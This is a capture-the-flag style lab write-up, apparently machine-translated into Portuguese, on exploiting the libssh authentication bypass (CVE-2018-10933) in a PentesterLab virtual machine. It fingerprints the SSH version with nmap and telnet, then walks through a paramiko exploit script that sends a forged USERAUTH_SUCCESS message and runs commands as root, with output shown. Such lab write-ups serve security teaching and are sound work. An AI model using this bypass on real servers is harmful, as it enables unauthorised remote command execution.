Laboratório Hacker: P1. Libssh auth bypass

Estou iniciando uma série de artigos sobre análise de serviço pentesterlab . Infelizmente, não tenho uma versão Pro do curso, por isso estou limitado apenas à lista de tarefas gratuitas. Cada caso é um sistema que contém uma vulnerabilidade que deve ser explorada para atingir um objetivo específico.


Libssh auth bypass


O caso inclui um host (máquina virtual) com o serviço SSH em execução. O desafio é obter o controle da máquina através do desvio de autenticação SSH. Imagine que não sabemos qual implementação de SSH está no servidor e qual vulnerabilidade precisamos explorar.

Como descobrir? A primeira coisa que vem à mente é usar o scanner de rede nmap com a opção -sV:

~$ nmap 192.168.0.89 -p 22 -sV Nmap scan report for 192.168.0.89 Host is up (0.00100s latency). PORT STATE SERVICE VERSION 22/tcp open ssh (protocol 2.0) 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port22-TCP:V=7.60%I=7%D=3/2%Time=5C7A9190%P=x86_64-pc-linux-gnu%r(NULL, SF:16,"SSH-2\.0-libssh_0\.8\.3\r\n"); 

No relatório, o nmap relata que o serviço é desconhecido para ele. Mas, depois de examinar a impressão digital do serviço, podemos ver a linha de identificação do servidor, na qual é óbvio que a porta está escutando no LibSSH versão 0.8.3.
Fatiado a partir da RFC-4253:
Imediatamente após o estabelecimento da conexão, o cliente e o servidor trocam mensagens do formulário:

Comentários SSH-protoversion-softwareversion

O campo protoversão indica a versão do protocolo. Como a segunda versão do SSH é atualmente relevante, o campo deve conter o valor "2.0". O campo softwareversion contém o nome e a versão da implementação do protocolo usada principalmente para iniciar extensões, compatibilidade e uma indicação dos recursos de implementação. O campo de comentários é opcional; indica informações adicionais que podem ajudar a resolver problemas do usuário.
Da mesma forma, podemos obter essa linha usando o utilitário telnet:

 $ telnet 192.168.0.89 22 Trying 192.168.0.89... Connected to 192.168.0.89. Escape character is '^]'. SSH-2.0-libssh_0.8.3 Bye ByeConnection closed by foreign host. 

Ou acesse o WireShark:

imagem

As pesquisas do Google nos levam à vulnerabilidade CVE-2018-10933, que afeta as versões do LibSSH de 0.7.6 a 0.8.4. Para entender, falarei brevemente sobre autenticação de cliente usando SSH. Após o estabelecimento da conexão, o cliente e o servidor concordam com um segredo chamado Session Key , que será usado para criptografia durante a sessão.Além disso, a autenticação pode ser dividida em vários estágios, que são criptografados:

  1. O cliente envia ao servidor uma mensagem SSH_MSG_USERAUTH_REQUEST contendo o nome de usuário, o nome do método de autenticação e os campos adicionais. O servidor pode aceitar a solicitação ou rejeitá-la com uma mensagem com o código SSH_MSG_USERAUTH_FAILURE, se o método de autenticação proposto não for suportado.
  2. O segundo passo depende diretamente do método de autenticação. No caso de autenticação de senha, o cliente envia a senha no primeiro estágio e aguarda a confirmação do servidor. Na autenticação com chaves públicas, a chave pública e a assinatura são enviadas com a chave privada. O servidor verifica se ele possui esse usuário, com uma chave pública e se a chave pública da assinatura corresponde ... Ainda existe um método de autenticação por host, mas raramente é usado, todos os métodos de autenticação podem ser lidos detalhadamente no RFC-4252 ( russo , inglês )
  3. Na terceira etapa, o cliente espera autenticação do servidor. O servidor envia uma mensagem com o código SSH_MSG_USERAUTH_SUCSESS se ele aceitar autenticação ou SSH_MSG_USERAUTH_FAILURE se ele rejeitar.

Há um erro na seção de código responsável pela verificação do código da mensagem que permite ao servidor receber a mensagem SSH_MSG_USERAUTH_SUCSESS. O uso dessa lacuna pode ignorar o processo de autenticação.

O GitHUb tem muitas explorações prontas para esta vulnerabilidade, portanto, não reinventaremos a roda e consideraremos esta (agradeço ao autor do script).

O script é escrito em python usando o módulo paramiko - Python (2.7, 3.4+) do protocolo SSHv2, que fornece a funcionalidade do cliente e do servidor. Vamos analisar as seções de código em que estamos interessados:

 sock = socket.socket() sock.connect((host,int(port))) 

Esta linha cria um soquete e se conecta ao servidor. O que é um soquete está muito bem descrito aqui .

 message = paramiko.message.Message() 

Esta classe de mensagem é SSH2. É um conjunto de números de linha e variáveis ​​do tipo bool, coletados em um fluxo de bytes.

 transport = paramiko.transport.Transport(sock) transport.start_client() 

Esta classe é um meio de interagir com o protocolo SSH. Nós o criamos e nos conectamos imediatamente no modo cliente.

 message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS) transport._send_message(message) 

O parâmetro paramiko.common.cMSG_USERAUTH_SUCCESS é o número 52, colocado em um byte. Este é o código da mensagem MSG_USERAUTH_SUCCESS. Enviamos esta mensagem para o servidor.

 cmd = transport.open_session() cmd.exec_command(command) 

Criamos um novo canal e enviamos imediatamente o comando, escrito como uma string no comando.

 out=cmd.makefile("rb",222048) output=out.read() out.close() print (output) 

O método makefile cria um wrapper de arquivo ao redor do pipe. "Rb" - modo de acesso de byte lido, 222048 - tamanho do buffer. Out obtém o resultado do comando que enviamos, que imprimimos via print (). Com out.close (), encerramos a conexão.

Resta executar este script, indicando o endereço IP da máquina virtual baixada e em execução anteriormente e o comando que queremos executar em nossa vítima. Eu tentei especificar comandos diferentes, e aqui está o resultado:

 #   ,     $ ./LibAuth.py --host 192.168.0.89 -c whoami b'root\n' #   $ ./LibAuth.py --host 192.168.0.89 -c date b'Wed Mar 6 22:50:00 UTC 2019\n' #  $ ./LibAuth.py --host 192.168.0.89 -c env b'USER=pentesterlab\nSHLVL=5\nHOME=/\nuser=pentesterlab\nTERM=linux\nBOOT_IMAGE=/boot/vmlinuz\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/usr/sbin:/bin:/usr/bin\nLANG=C\nSHELL=/bin/sh\ninitrd=/boot/initrd.img\nPWD=/\n' 

A conclusão do resultado é um pouco desajeitada, se necessário, você pode corrigi-lo. Mas, em geral - a tarefa pode ser considerada concluída.

Para continuar ...

Source: https://habr.com/ru/post/pt438434/


All Articles